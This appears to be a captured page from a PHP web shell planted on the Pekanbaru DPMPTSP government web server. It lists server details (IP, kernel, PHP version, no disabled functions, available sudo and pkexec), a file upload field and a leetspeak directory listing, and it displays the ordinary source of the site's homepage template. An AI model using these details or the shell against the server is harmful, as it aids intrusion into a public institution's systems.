Server IP : 103.169.32.36 / Your IP : 216.73.217.13 Web Server : Apache System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : apache ( 48) PHP Version : 5.6.40 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/dpmptsp/public_html/home/page/ |
Upload File : |
| Current File : /home/dpmptsp/public_html/home/page/home.php |
<?php
$all = getData('all',3);
//$pi = getData('Penanaman Modal',3);
include ('part/simple_html_dom.php');
?>
<!-- Section -->
<section>
<div class="container">
<!--
<div class="col col_12_of_12" style="margin-bottom:20px;text-align:center;">
<a href="<?php echo PATH.'images/BANNER_OSS.png'; ?>" class="popup_link"><img src="<?php echo PATH.'images/BANNER_OSS.png'; ?>" onerror="this.onerror=null;this.src='<?php echo PATH.'assets/post/no_image_available.jpeg'; ?>.';"></a>
</div>
-->
<div class="col col_12_of_12" style="margin-bottom:20px;text-align:center;" id="bannerSlider">
<a href="<?php echo PATH.'images/banner-web-PBG.jpg'; ?>" class="popup_link">
<img src="<?php echo PATH.'images/banner-web-PBG.jpg'; ?>" onerror="this.onerror=null;this.src='<?php echo PATH.'assets/post/no_image_available.jpeg'; ?>.';">
</a>
<a href="<?php echo PATH.'assets/banner_zona_integritas_2.jpg'; ?>" class="popup_link">
<img src="<?php echo PATH.'assets/banner_zona_integritas_2.jpg'; ?>" onerror="this.onerror=null;this.src='<?php echo PATH.'assets/post/no_image_available.jpeg'; ?>.';">
</a>
<a href="<?php echo PATH.'images/NIB Banner.jpg'; ?>" class="popup_link">
<img src="<?php echo PATH.'images/NIB Banner.jpg'; ?>" onerror="this.onerror=null;this.src='<?php echo PATH.'assets/post/no_image_available.jpeg'; ?>.';">
</a>
<!--
<a href="<?php echo PATH.'assets/layanan bergabung 2024-01.jpg'; ?>" class="popup_link">
<img src="<?php echo PATH.'assets/layanan bergabung 2024-01.jpg'; ?>" onerror="this.onerror=null;this.src='<?php echo PATH.'assets/post/no_image_available.jpeg'; ?>.';">
</a>
<a href="<?php echo PATH.'images/BANNER_PROBIS.jpg'; ?>" class="popup_link">
<img src="<?php echo PATH.'images/BANNER_PROBIS.jpg'; ?>" onerror="this.onerror=null;this.src='<?php echo PATH.'assets/post/no_image_available.jpeg'; ?>.';">
</a>
<a href="<?php echo PATH.'images/BANNER_GELIAT_UMKM.jpg'; ?>" class="popup_link">
<img src="<?php echo PATH.'images/BANNER_GELIAT_UMKM.jpg'; ?>" onerror="this.onerror=null;this.src='<?php echo PATH.'assets/post/no_image_available.jpeg'; ?>.';">
</a>
-->
</div>
<div class="row" style="margin-top:20px;">
<!-- Main content -->
<div class="col col_9_of_12">
<!-- Content slider -->
<div class="content_slider">
<ul>
<?php
foreach($all as $b){
$tgl=explode(' ',$b['post_date']);
?>
<!-- Item -->
<li>
<a href="<?php echo buatLink($b['post_type'],$b['post_ID'],$b['post_title']); ?>">
<img src="<?php echo PATH.'assets/post/'.$b['post_image']; ?>" onerror="this.onerror=null;this.src='assets/post/no_image_available.png';" style="width:100%;height:450px;"></a>
<div class="slider_caption">
<div class="thumb_meta">
<span class="category" jQuery><a href="#"><?php echo $b['post_type']; ?></a></span>
<span class="comments"><a href="<?php echo buatLink($b['post_type'],$b['post_ID'],$b['post_title']); ?>"><?php echo tglIndo($tgl[0]); ?></a></span>
</div>
<div class="thumb_link">
<h3><a href="<?php echo buatLink($b['post_type'],$b['post_ID'],$b['post_title']); ?>"><?php echo $b['post_title']; ?></a></h3>
</div>
</div>
</li><!-- End Item -->
<?php
}
?>
</ul>
</div><!-- End Content slider -->
<!-- Panel title -->
<div class="panel_title">
<div>
<h4><a href="#">Latest News Posts</a></h4>
</div>
</div><!-- End Panel title -->
<div class="row">
<div class="col col_12_of_12">
<div class="multipack clearfix">
<?php
//debug($berita[0]);exit;
$tgl=explode(' ',$berita[0]['post_date']);
$dom = new domDocument;
$dom->loadHTML($berita[0]['post_content']);
$dom->preserveWhiteSpace = false;
$p = $dom->getElementsByTagName('p');
foreach($p as $n){ $narasi[] = $n->nodeValue; }
?>
<!-- Layout post 1 -->
<div class="layout_post_1">
<div class="item_thumb">
<div class="thumb_icon">
<a href="<?php echo buatLink($berita[0]['post_type'],$berita[0]['post_ID'],$berita[0]['post_title']); ?>" jQuery><i class="fa fa-copy"></i></a>
</div>
<div class="thumb_hover">
<a href="<?php echo buatLink($berita[0]['post_type'],$berita[0]['post_ID'],$berita[0]['post_title']); ?>"><img src="<?php echo PATH.'assets/post/'.$berita[0]['post_image']; ?>" onerror="this.onerror=null;this.src='assets/post/no_image.png';"></a>
</div>
<div class="thumb_meta">
<span class="category" jQuery><a href="#"><?php echo $berita[0]['post_type']; ?></a></span>
<span class="comments"><a href="<?php echo buatLink($berita[0]['post_type'],$berita[0]['post_ID'],$berita[0]['post_title']); ?>"><?php echo tglIndo($tgl[0]); ?></a></span>
</div>
</div>
<div class="item_content">
<h4><a href="<?php echo buatLink($berita[0]['post_type'],$berita[0]['post_ID'],$berita[0]['post_title']); ?>"><?php echo $berita[0]['post_title']; ?></a></h4>
<p style="text-align:justify"><?php echo ambilNarasi($narasi[0],300); ?>...</p>
<a class="btn btn_turquoise btn_expand btn_red" href="<?php echo buatLink($berita[0]['post_type'],$berita[0]['post_ID'],$berita[0]['post_title']); ?>">Read More <i class="fa fa-chevron-right"></i></a>
</div>
</div><!-- End Layout post 1 -->
<!-- Post lists -->
<div class="list_posts">
<?php
foreach($berita as $k=>$b){
if($k<>0){
$tgl=explode(' ',$b['post_date']);
?>
<!-- Post -->
<div class="post clearfix">
<div class="item_thumb" style="width:30%;">
<div class="thumb_icon">
<a href="<?php echo buatLink($b['post_type'],$b['post_ID'],$b['post_title']); ?>" jQuery><i class="fa fa-copy"></i></a>
</div>
<div class="thumb_hover">
<a href="<?php echo buatLink($b['post_type'],$b['post_ID'],$b['post_title']); ?>"><img src="<?php echo PATH.'assets/post/'.$b['post_image']; ?>" onerror="this.onerror=null;this.src='assets/post/no_image.png';"></a>
</div>
</div>
<div class="item_content">
<h4><a href="<?php echo buatLink($b['post_type'],$b['post_ID'],$b['post_title']); ?>"><?php echo $b['post_title']; ?></a></h4>
<div class="item_meta clearfix">
<span class="meta_date"><?php echo tglIndo($tgl[0]); ?></span>
</div>
</div>
</div><!-- End Post -->
<?php
}
}
?>
</div><!-- End Post lists -->
</div>
</div>
</div>
<div class="row">
<div class="col col_6_of_12">
<div class="widget">
<div class="widget_title"><h3 style="font-weight:700;">VISI MISI PEKANBARU</h3></div>
<a href="<?php echo PATH.'assets/VISI_MISI_PKU_2025.jpg'; ?>" class="popup_link">
<img src="<?php echo PATH.'assets/VISI_MISI_PKU_2025.jpg'; ?>" />
</a>
</div><!-- End Widget Recent list posts -->
</div>
<!--
<div class="col col_6_of_12">
<div class="widget">
<div class="widget_title"><h3 style="font-weight:700;">MAKLUMAT PELAYANAN</h3></div>
<a href="<?php echo PATH.'images/MAKLUMAT_DPMPTSP_2025_new.jpg'; ?>" class="popup_link">
<img src="<?php echo PATH.'images/MAKLUMAT_DPMPTSP_2025_new.jpg'; ?>" />
</a>
</div>
</div>
-->
</div>
<!-- Panel title -->
<div class="panel_title">
<div>
<h4><a href="#">Video</a></h4>
</div>
</div><!-- End Panel title -->
<!-- Layout post 2 -->
<div class="row">
<div class="col col_4_of_12">
<!-- Layout post 1 -->
<div class="layout_post_2 clearfix">
<iframe class="hover_effect" src="https://www.youtube.com/embed/UMxlA3SVH8g" frameborder="0" allowfullscreen></iframe>
</div><!-- End Layout post 1 -->
</div>
<div class="col col_4_of_12">
<!-- Layout post 1 -->
<div class="layout_post_2 clearfix">
<iframe class="hover_effect" src="https://www.youtube.com/embed/tlEPrI9oAwI" frameborder="0" allowfullscreen></iframe>
</div><!-- End Layout post 1 -->
</div>
<div class="col col_4_of_12">
<!-- Layout post 1 -->
<div class="layout_post_2 clearfix">
<iframe class="hover_effect" src="https://www.youtube.com/embed/UbeKl9nMtgc" frameborder="0" allowfullscreen></iframe>
</div><!-- End Layout post 1 -->
</div>
<div class="col col_4_of_12">
<!-- Layout post 1 -->
<div class="layout_post_2 clearfix">
<iframe class="hover_effect" src="https://www.youtube.com/embed/MhxbPZTIoyY" frameborder="0" allowfullscreen></iframe>
</div><!-- End Layout post 1 -->
</div>
<div class="col col_4_of_12">
<!-- Layout post 1 -->
<div class="layout_post_2 clearfix">
<iframe class="hover_effect" src="https://www.youtube.com/embed/o2J--E8zu3Y" frameborder="0" allowfullscreen></iframe>
</div><!-- End Layout post 1 -->
</div>
<div class="col col_4_of_12">
<!-- Layout post 1 -->
<div class="layout_post_2 clearfix">
<iframe class="hover_effect" src="https://www.youtube.com/embed/-iiTSOw72ZQ" frameborder="0" allowfullscreen></iframe>
</div><!-- End Layout post 1 -->
</div>
</div><!-- End Layout post 2 -->
<style>
.containerzz {
position: relative;
}
.imagezz {
opacity: 1;
display: block;
width: 100%;
height: auto;
transition: .5s ease;
backface-visibility: hidden;
}
.middlezz {
transition: .5s ease;
opacity: 0;
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
-ms-transform: translate(-50%, -50%);
text-align: center;
}
.containerzz:hover .imagezz {
opacity: 0.3;
}
.containerzz:hover .middlezz {
opacity: 1;
}
.textzz {
background-color: #4CAF50;
color: white;
font-size: 16px;
padding: 8px 16px;
}
</style>
<!-- Panel title -->
<div class="panel_title">
<div>
<h4><a href="#">BUKU</a></h4>
</div>
</div><!-- End Panel title -->
<div class="row">
<div class="col col_4_of_12">
<!-- Layout post 1 -->
<div class="layout_post_2 clearfix containerzz">
<a href="https://dpmptsp.pekanbaru.go.id/publikasi/files/BUKU/buku%20saku%20perizinan.pdf" target="_blank">
<img class="imagezz" src="<?php echo PATH.'images/'; ?>cover_buku_saku.jpg" />
<div class="middlezz">
<div class="textzz"><i class="fa fa-search"></i></div>
</div>
</a>
</div><!-- End Layout post 1 -->
</div>
<div class="col col_4_of_12">
<!-- Layout post 1 -->
<div class="layout_post_2 clearfix containerzz">
<a href="https://dpmptsp.pekanbaru.go.id/publikasi/files/BUKU/Peluang-Investasi.pdf" target="_blank">
<img class="imagezz" src="<?php echo PATH.'images/'; ?>potensi.jpg" />
<div class="middlezz">
<div class="textzz"><i class="fa fa-search"></i></div>
</div>
</a>
</div><!-- End Layout post 1 -->
</div>
<div class="col col_4_of_12">
<!-- Layout post 1 -->
<div class="layout_post_2 clearfix containerzz">
<a href="https://dpmptsp.pekanbaru.go.id/publikasi/files/BUKU/BUKU MPP 2021.pdf" target="_blank">
<img class="imagezz" src="<?php echo PATH.'images/'; ?>COVER 1.jpg" />
<div class="middlezz">
<div class="textzz"><i class="fa fa-search"></i></div>
</div>
</a>
</div><!-- End Layout post 1 -->
</div>
</div>
<!-- Panel title -->
<div class="panel_title">
<div>
<h4><a href="#">Partner</a></h4>
</div>
</div><!-- End Panel title -->
<div class="row">
<?php
$partner = getDataPartner(6);
foreach($partner as $p){
?>
<div class="col col_4_of_12">
<!-- Layout post 1 -->
<div class="layout_post_2 clearfix">
<a href="<?php echo $p['link']; ?>" target="_blank"><img src="<?php echo PATH.'images/partner/'.$p['logo']; ?>" alt="<?php echo $p['nama']; ?>" title="<?php echo $p['nama']; ?>" /></a>
</div><!-- End Layout post 1 -->
</div>
<?php
}
?>
<?php
$sp = getStatPengunjung();
?>
</div><!-- End Layout post 2 -->
<div class="panel_title">
<div>
<h4><a href="#">Statistik Pengunjung</a></h4>
</div>
</div><!-- End Panel title -->
<div class="row">
<div class='ui'>
<div class='ui_box'>
<div class='ui_box__inner'>
<h2>Hari ini </h2>
<div class='stat'>
<span><?php echo $sp['hari']; ?></span>
</div>
<div class='progress'>
<div class='progress_bar'></div>
</div>
<p>Jumlah Pengunjung Hari ini</p>
</div>
</div>
<div class='ui_box'>
<div class='ui_box__inner'>
<h2>Bulan ini </h2>
<div class='stat'>
<span><?php echo $sp['bulan']; ?></span>
</div>
<div class='progress'>
<div class='progress_bar'></div>
</div>
<p>Jumlah Pengunjung Bulan ini</p>
</div>
</div>
<div class='ui_box'>
<div class='ui_box__inner'>
<h2>Total </h2>
<div class='stat'>
<span><?php echo $sp['total']; ?></span>
</div>
<div class='progress'>
<div class='progress_bar'></div>
</div>
<p>Total Jumlah Pengunjung</p>
</div>
</div>
</div>
</div><!-- End Layout post 2 -->
</div><!-- End Main content -->
<?php
include ('part/sidebar.php');
?>
</div>
</div>
</section><!-- End Section -->
| N4m3 |
5!z3 |
L45t M0d!f!3d |
0wn3r / Gr0up |
P3Rm!55!0n5 |
0pt!0n5 |
| .. |
-- |
July 30 2026 06:50:24 |
1000 / 1000 |
0755 |
|
| | | | | |
| alur.php |
4.117 KB |
April 22 2024 02:36:21 |
1000 / 1000 |
0755 |
|
| cari.php |
2.459 KB |
January 29 2026 02:36:23 |
1000 / 1000 |
0755 |
|
| gallery.php |
1.319 KB |
January 13 2024 08:41:28 |
1000 / 1000 |
0755 |
|
| home.php |
17.532 KB |
July 31 2026 08:56:31 |
1000 / 1000 |
0755 |
|
| ikm.php |
3.575 KB |
April 22 2024 02:36:48 |
1000 / 1000 |
0755 |
|
| ikm_lama.php |
3.793 KB |
January 13 2024 08:41:28 |
1000 / 1000 |
0755 |
|
| index.html |
0 KB |
January 13 2024 08:41:28 |
1000 / 1000 |
0755 |
|
| jenis-perizinan.php |
2.274 KB |
January 13 2024 08:41:28 |
1000 / 1000 |
0755 |
|
| juknis_simolek.php |
5.661 KB |
January 13 2024 08:41:28 |
1000 / 1000 |
0755 |
|
| kontak.php |
8.309 KB |
April 22 2024 02:37:24 |
1000 / 1000 |
0755 |
|
| maklumat.php |
3.652 KB |
April 22 2024 02:37:38 |
1000 / 1000 |
0755 |
|
| panduan-perilaku.php |
4.309 KB |
April 22 2024 02:37:51 |
1000 / 1000 |
0755 |
|
| perizinan.php |
3.562 KB |
January 13 2024 08:41:29 |
1000 / 1000 |
0755 |
|
| pma-pmdn.php |
3.456 KB |
April 22 2024 02:38:14 |
1000 / 1000 |
0755 |
|
| potensi_investasi.php |
14.727 KB |
January 13 2024 08:41:29 |
1000 / 1000 |
0755 |
|
| profile.php |
11.203 KB |
July 30 2024 04:09:54 |
1000 / 1000 |
0755 |
|
| profile_pekanbaru.php |
3.535 KB |
January 13 2024 08:41:29 |
1000 / 1000 |
0755 |
|
| read.php |
6.527 KB |
April 22 2024 02:34:13 |
1000 / 1000 |
0755 |
|
| statistik.php |
6.521 KB |
April 22 2024 02:38:57 |
1000 / 1000 |
0755 |
|
| struktur.php |
4.165 KB |
January 13 2024 08:41:29 |
1000 / 1000 |
0755 |
|